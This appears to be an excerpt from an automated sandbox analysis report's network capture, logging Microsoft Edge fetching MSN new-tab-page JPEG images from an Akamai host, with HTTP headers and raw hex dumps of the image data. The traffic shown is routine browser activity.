2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEt Last-Modified: Tue, 05 Nov 2024 17:09:52 GMT X-Source-Length: 81045 X-Datacenter: eastus X-ActivityId: ea3a2dad-40e6-41b3-bc97-3502537eb6d1 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 81045 Cache-Control: public, max-age=322112 Expires: Fri, 15 Nov 2024 05:09:01 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 89 9c af b9 a8 a7 a5 f3 2e 9a fb 0d 56 09 b8 ab 0b 98 80 82 a0 bb 74 b5 86 35 f1 f6 ac f1 dd 09 6e 80 0f f7 fe eb 70 4f ac 31 73 95 c2 e1 6f b9 f8 a4 92 49 e4 ba 98 a1 49 8c a1 6d d0 b6 db 6c 33 05 58 2f 69 da bc e3 f8 9c 37 43 41 f4 4a d9 e2 48 3a ac 7b 79 4f 12 dd 57 09 fc c4 ed 13 03 72 83 ca a0 14 11 97 b4 af 39 7b 8e 71 b8 d1 3e a9 5d 9f 88 11 32 6a 34 5a d3 9c 27 15 a3 6c 34 43 71 1e 8d e5 55 23 bc 01 98 1a 98 8e c5 83 c4 18 d5 40 db e5 d7 5e d8 c5 dd 69 8d d2 b7 11 9a 5c ae 97 02 2a 4c e8 dd b1 db d2 a1 77 10 62 a6 8c 69 02 33 5a 6b df ab 6c 01 fb a7 f4 5c ce 3a eb c0 0d 7b 43 4f ac 21 58 bb af de 0e 2e b7 07 70 bb 0b a0 12 d2 0c cc 50 65 b3 c5 5a bf c6 5d b8 dc 21 ce 21 c5 ed 13 b0 bc 18 e7 50 bc d7 05 74 49 06 26 20 4e b5 3a 0d b3 9a f4 8c e1 9a Data Ascii: .Vt5npO1soIIml3X/i7CAJH:{yOWr9{q>]2j4Z'l4CqU#@^i\*Lwbi3Zkl\:{CO!X.pPeZ]!!PtI& N:
2024-11-11 11:40:29 UTC	1980	IN	Data Raw: 96 4f 13 96 95 e5 52 af b6 5b a7 e7 5d 3b 44 eb 4d 39 20 97 61 d4 9a d0 69 d9 0b 90 78 87 6a 68 3c 64 c7 2a 24 7c e7 cd 1d ca 9a ef 85 ad 1d d0 96 ed 0e 0a ff 00 a4 00 fd f6 fe 89 7c 1d f9 f5 7c 7c c6 7d 65 7a 11 84 6c ec fa ac 97 b4 6c 5a b9 e4 e5 a2 1c 31 c1 bf ee cf ff 00 51 bf 52 b3 f0 4f fe 19 dd e6 37 ea bb 07 88 60 50 7c 58 8f 7f 62 b7 cd 74 e2 e2 be d7 94 e0 d7 5b 22 76 dc fa 02 96 11 86 70 82 34 a5 c9 3d 80 4a bf 72 ed a7 ba 5c c0 e2 34 38 4c a8 0f 10 d6 e8 de c1 1e c4 d7 1f 37 f7 62 71 85 30 d2 66 2c bb c4 94 06 5d 90 05 a0 d1 99 2e f6 47 d1 59 f3 9c fd 26 bb 4c 74 15 5a 6f bb 56 b5 a7 2d 5d d0 3d a9 ab b9 2a 13 1b 43 57 dc 0d db a7 b5 46 47 0e 28 03 de 6b 5e ef e8 a2 b9 e6 01 50 1c 77 86 8e d3 2a b1 b9 74 7f 0d 83 28 2e 77 40 01 58 b9 eb da 52 Data Ascii: OR[];DM9 aixjh<d$\|\|\|\|}ezllZ1QRO7`P\|Xbt["vp4=Jr\48L7bq0f,].GY&LtZoV-]=CWFG(k^Pw*t(.w@XR
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 4a 5b a9 f1 01 c3 50 72 8d 9b 96 b1 34 ec 07 92 e3 79 17 27 ba eb 67 f7 a3 a5 64 b2 fd bd 58 7c 2b d0 ae 8c 7a 65 05 bb 78 87 3d df 53 b1 4b 33 53 1e fa ca f3 e6 eb 9b ab 5d a4 d4 14 c7 13 0a 7b 73 d1 6d e8 21 a6 27 4e 5a ef e5 54 88 60 db ef 9a e3 8e 21 a7 35 2b 6e 4d 31 53 9a cf b7 30 5b a3 de 13 cb 66 70 b1 de ec f7 95 10 ba dc c8 8e c9 ec 52 48 3a 57 b3 45 9a 52 11 b6 0e d1 9e e5 bc 51 4e 9e 85 09 6b 8e 91 49 df ce 25 60 b5 cc 00 c1 3e c4 a8 91 61 d7 41 a1 cb 7a 0d c6 9f 7d 55 5c 7b 67 b3 df 55 b0 eb 44 e9 14 ec 57 4d 6f 13 48 1c cc 66 36 e5 bd 01 83 6f 87 b5 46 30 cc 87 50 f6 f8 e6 16 1c 09 3a f2 1f 4f 62 78 89 f0 b7 53 ae c4 7a ba d7 64 6c 55 bb e3 4a e4 56 3c e7 8a 7f 65 ad 32 2e 02 ec 8b 4c e7 3d 4b 5e 19 78 8e b5 4b 11 8a 81 03 97 64 23 16 71 2a Data Ascii: J[Pr4y'gdX\|+zex=SK3S]{sm!'NZT`!5+nM1S0[fpRH:WERQNkI%`>aAz}U\{gUDWMoHf6oF0P:ObxSzdlUJV<e2.L=K^xKd#q*
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 13 86 72 ab 8f 5a 94 59 7c fa 46 77 ac fc 33 b5 24 d3 61 1d 6b 37 fd 4b 4c 79 4c 89 0d b6 3c 11 e5 b4 7d d1 b8 6d 52 7c 39 06 9d a4 c0 cb 42 b3 83 49 2d cf 42 97 cd 69 ac 1b 6e 0a 67 08 86 bb d3 74 6e 15 dc a3 87 64 01 9d 2b 9f 34 c5 a7 98 9f 4a 7c 0e ca f4 ab e2 37 f8 62 64 bf b5 61 cf b6 2a 03 8f 6a 3c 83 4e f4 4d 0e 9f 54 fc 98 ae 21 9d 29 d3 29 15 bc a4 45 d6 e2 ad 3b d6 26 d1 1f cb 98 d3 df 35 30 60 93 b0 73 18 b2 3e f9 a3 cb 15 20 d4 6e d1 6b 87 33 8a 29 b6 2b e5 c4 88 f7 0b 05 cc 74 82 cd 9d 0b 78 5b 14 2e cf bd 1e ae 9a 02 b2 6d b1 d5 1b 39 e7 d0 b5 c3 9a 20 c4 c3 e8 44 54 46 a5 62 6d 9a e1 39 cd 3c 63 c1 5a 2d b0 75 3a ec 04 09 d9 4d 79 a5 e5 b5 cd ee bc 30 d3 5a 81 ef da b5 71 cc a5 62 5b ae be f9 2c 62 69 14 91 e1 b4 e8 ad 79 2d 02 43 e6 b5 d8 Data Ascii: rZY\|Fw3$ak7KLyL<}mR\|9BI-Bingtnd+4J\|7bda*j<NMT!))E;&50`s> nk3)+tx[.m9 DTFbm9<cZ-u:My0Zqb[,biy-C
2024-11-11 11:40:29 UTC	7952	IN	Data Raw: 10 46 10 60 f6 69 d9 9a 89 d7 3d 58 70 ca bb 13 45 96 b0 78 9c 36 8c 98 a8 f7 f0 45 8b 8d 69 3e 61 06 22 9b 7f b9 5c 6e 31 ec 36 da e9 99 1b 36 99 c9 43 6d 85 d7 58 e3 8a 0b 43 9d 5a 6e ec 92 bd 5e dc 69 bd 97 6c 5b d4 be e1 c5 e5 b7 43 19 69 fa 2e 65 e0 f6 4b dd b0 b7 79 cb c1 5a c7 6e db 66 6b 4a ef 51 7c 4c 89 b9 1d ea b5 bf 96 62 7c 35 5c 71 89 8d 91 c1 a5 92 1f 66 dc 6a 60 0a 66 ac 07 b8 34 8d 31 4d 3d aa 83 6f b8 dc c2 01 76 b0 7c 27 ea 8f 31 f2 5f 84 99 6c 37 90 23 67 5c a9 38 ef a6 96 cd d7 39 a4 8a 89 81 ce 73 8d f9 2a ad bc e6 e3 17 08 d8 08 39 fe aa a0 f3 b0 9c 0d 33 6d a2 48 cc f2 52 8e 18 de 87 ba 5a 30 41 04 c1 99 a2 d6 9c 63 6d 7e e8 d8 69 37 5b 85 dd d0 1b e2 1a 63 eb 45 7c 96 5a 70 b9 a1 0d 80 39 1e 55 47 c3 61 21 a1 d0 d8 d7 c0 0a 78 ad Data Ascii: F`i=XpEx6Ei>a"\n166CmXCZn^il[Ci.eKyZnfkJQ\|Lb\|5\qfj`f41M=ov\|'1_l7#g\89s*93mHRZ0Acm~i7[cE\|Zp9UGa!x
2024-11-11 11:40:29 UTC	6096	IN	Data Raw: 8c 30 d7 61 ef 50 96 e6 29 e8 f6 90 a2 c6 04 81 15 30 39 c0 a8 f1 01 66 dd e0 1c e7 ec 2f 70 11 93 b0 e5 db d8 b7 3c 5c e2 78 ba 20 01 ab 62 20 ef 5a b8 c7 38 b6 1d 85 a0 cb 84 6b 43 d2 aa 8b 8e 7e 16 b8 6a 26 99 57 da 15 13 78 f9 9e 50 26 5b 04 93 a1 3b 17 2d 33 3e 0e 96 b3 76 e1 b3 59 9a 9f 0a 40 a2 f3 f8 9c 4d b6 b8 90 d7 b8 77 b6 90 67 a5 77 f0 f9 8e a9 ee fa a0 6d 24 d4 f8 2d ba dd 97 06 b5 d5 f2 c7 69 d3 b5 75 8c a3 1d b1 7d cc 4c 5a 97 93 75 e2 a4 c1 33 a6 a4 56 7a 95 9c 45 86 e1 91 18 80 07 5c b5 ed 2a f3 6f 07 0c 3f 7b 40 ab 06 9c 38 35 ae 23 3f 5d eb 95 cc ed 83 4e c1 e5 1b 40 99 92 e1 b7 d5 90 07 52 cf 90 d3 6d b0 e9 d3 a6 68 79 2d 8b 6e 76 2c 6e 22 64 46 ed 08 52 5b 61 b2 18 0e 42 32 d9 f5 56 eb ab a1 36 cd a7 06 cc ba 20 49 3a 18 59 16 86 b1 Data Ascii: 0aP)09f/p<\x b Z8kC~j&WxP&[;-3>vY@Mwgwm$-iu}LZu3VzE\*o?{@85#?]N@Rmhy-nv,n"dFR[aB2V6 I:Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49898	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 23:47:00 GMT X-Datacenter: westus X-ActivityId: e8292b15-37e7-43c2-8d25-d08789b6d5d4 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=129992 Expires: Tue, 12 Nov 2024 23:47:01 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-11 11:40:29 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-11 11:40:29 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-11 11:40:29 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49900	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZa Last-Modified: Wed, 30 Oct 2024 22:39:16 GMT X-Source-Length: 110548 X-Datacenter: northeu X-ActivityId: 21c8e970-d8eb-4072-b316-9ac9e05b0283 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 110548 Cache-Control: public, max-age=212261 Expires: Wed, 13 Nov 2024 22:38:10 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
